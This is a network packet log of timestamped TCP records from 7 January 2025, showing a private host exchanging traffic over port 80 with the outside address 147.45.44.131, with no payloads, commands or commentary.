Jan 7, 2025 06:12:06.429171085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429177999 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429189920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429199934 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429209948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429213047 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429225922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429229021 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429236889 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429248095 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429264069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429272890 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429275036 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429285049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429287910 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429296970 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429305077 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429316998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429327965 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429333925 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429337978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429351091 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429372072 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429373980 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429384947 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429394960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429395914 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429408073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429419041 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429447889 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429464102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429475069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429485083 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429496050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429507017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429513931 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429517984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429541111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429553986 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429554939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429567099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429598093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429600000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429611921 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429621935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429631948 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429641962 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429668903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429694891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429704905 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429716110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429723978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429752111 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429759979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429775953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429785967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429797888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429814100 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429830074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429841042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429851055 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429861069 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.429862022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.429883003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430020094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430032015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430042028 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430052042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430068016 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430078030 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430078030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430093050 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430102110 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430103064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430114985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430124998 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430140972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430151939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430162907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430165052 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430175066 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430183887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430187941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430200100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430218935 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430234909 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430234909 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430247068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430274010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430284023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430284977 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430295944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430319071 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430371046 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430382013 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430392027 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430402040 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430406094 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430424929 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430571079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430583000 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430593967 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430605888 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430613995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430617094 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430628061 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430639029 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430643082 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430650949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430654049 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430661917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430672884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430672884 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430684090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430695057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430697918 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430705070 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430727005 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430732965 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430805922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430823088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430835009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430844069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430854082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430854082 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430865049 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430871964 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430875063 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430913925 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430938005 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430948973 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430959940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430970907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.430970907 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.430994034 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.483277082 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483298063 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483309984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483326912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483338118 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483349085 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483350039 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.483364105 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.483381033 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.483422995 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.521903038 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521919966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521933079 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521945953 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521958113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521970034 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521987915 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.521991968 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522000074 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522012949 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522022963 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522027016 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522047043 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522057056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522073984 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522073984 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522088051 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522104979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522105932 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522119045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522130966 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522166967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522195101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522207022 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522217035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522227049 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522234917 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522249937 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522253990 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522265911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522289038 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522295952 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522310972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522306919 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522326946 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522337914 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522353888 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522367954 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522378922 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522388935 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522399902 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522416115 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522423029 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522430897 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522443056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522454023 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522469044 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522481918 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522490025 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522495985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522520065 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522526979 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522531033 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522562027 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522660017 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522671938 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522690058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522696972 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522701025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522716045 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522726059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522739887 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522746086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522757053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522764921 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522767067 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522788048 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522792101 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522800922 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522811890 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522815943 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522830009 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522842884 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522851944 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522855997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522862911 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522871017 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522898912 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522901058 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522912979 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522924900 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522936106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522943020 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522945881 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.522962093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522981882 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.522991896 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523003101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523009062 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523078918 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523112059 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523129940 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523140907 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523149967 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523152113 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523165941 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523175001 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523176908 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523189068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523207903 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523211002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523225069 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523233891 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523243904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523246050 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523260117 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523262978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523274899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523279905 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523287058 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523298025 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523303032 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523317099 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523330927 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523332119 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523351908 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523370028 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523403883 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523416042 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523427010 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523437977 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523451090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523463964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523503065 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523519039 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523530960 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523542881 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523555040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523586035 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523663044 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523680925 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523690939 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523701906 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523711920 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523721933 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523721933 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523730040 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523741961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523782015 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523792982 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523793936 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523812056 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523823023 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523824930 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523837090 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523848057 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523849964 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523859978 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523871899 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523878098 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523897886 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523909092 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523919106 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523936987 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523940086 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523945093 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523952961 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523962021 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.523964882 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523976088 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.523986101 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.524014950 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.524022102 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.524039030 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.524049997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.524049997 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.524050951 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.524064064 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.524075985 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.524090052 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.524110079 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.575355053 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575370073 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575390100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575401068 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575412035 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575423002 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575433969 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575439930 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.575459003 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.575470924 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.575506926 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614247084 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614269018 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614284992 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614317894 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614329100 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614340067 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614341021 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614387989 CET	49712	80	192.168.2.6	147.45.44.131
Jan 7, 2025 06:12:06.614419937 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614430904 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614442110 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614453077 CET	80	49712	147.45.44.131	192.168.2.6
Jan 7, 2025 06:12:06.614464998 CET	80	49712	147.45.44.131	192.168.2.6
